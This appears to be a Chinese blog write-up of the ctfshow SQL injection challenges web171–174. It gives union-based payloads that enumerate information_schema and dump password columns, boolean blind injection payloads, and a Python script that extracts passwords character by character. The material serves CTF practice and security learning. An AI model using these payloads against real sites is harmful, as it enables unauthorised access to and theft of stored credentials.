SQL注入-1

From:
https://blog.csdn.net/qq_61237064/article/details/121421239

https://blog.csdn.net/weixin_48083470/article/details/119034415

 

1、web171

在网页中给出的用户表中可以看到ID=3后,数据无法显示,这说明有三个字段数

判断字段后,首先查询数据库名字: ctfshow_web

1' union select 1,2,database()--+

数据库的信息收集

得到数据库后查询ctfshow_web中的表名: ctfshow_user

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

表名

得到表名后查询 ctfshow_user里的所有列名:id,username,password

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+

列名

查询列名password中的数据即可:

1' union select 1,2,group_concat(password) from ctfshow_user--+

password

2、web172

同web171

3、web173

同web171

4、web174

查看返回逻辑,发现过滤了flag字符和数字,尝试布尔盲注

提示

preg_match执行匹配正则表达式

json_encode对变量进行 JSON 编码

开始盲注

数据库长度判断

1' and length(database())<12 %23

在12的时候有显示,但是11就没有了说明,长度为11

数据库名字判断

1' and ascii(substr(database(),1,1))=99%23第一个字符为c

1' and ascii(substr(database(),2,1))=116%23第二个为t

ctfshow_web

数据库表名判断

1' and length((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1))=13 --+ //第一行表,长度为13 1' and ascii(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),12,1))=114--+ //第12个字符为r ctfshow_user4

数据库列名判断

1' and length((select column_name from information_schema.columns where table_name='ctfshow_user4' limit 2,1))=8--+ //第三列的长度为8 1' and ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user4' limit 2,1),8,1))=100--+ //列名的第8位为d password

password列下的内容

1' and length((select password from ctfshow_web.ctfshow_user4 limit 0,1))>1--+ //字符长度判断 1' and ascii(substr((select password from ctfshow_web.ctfshow_user4 limit 0,1),1,1))>100--+ //字符内容判断

脚本

import requests url = "xxxx/?id=1' and " result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- ' #f是将{i}和{mid}格式化输出 r = requests.get(url + payload) if "admin" in r.text: #通过前面回显信息“admin”来判断ascii的值是否比mid的值大 head = mid + 1 else: tail = mid if head != 32: result += chr(head) else: break print(result)

__EOF__

本文作者E=MC^2
本文链接https://www.cnblogs.com/zeroEMC/p/16394479.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   EMCzero  阅读(70)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示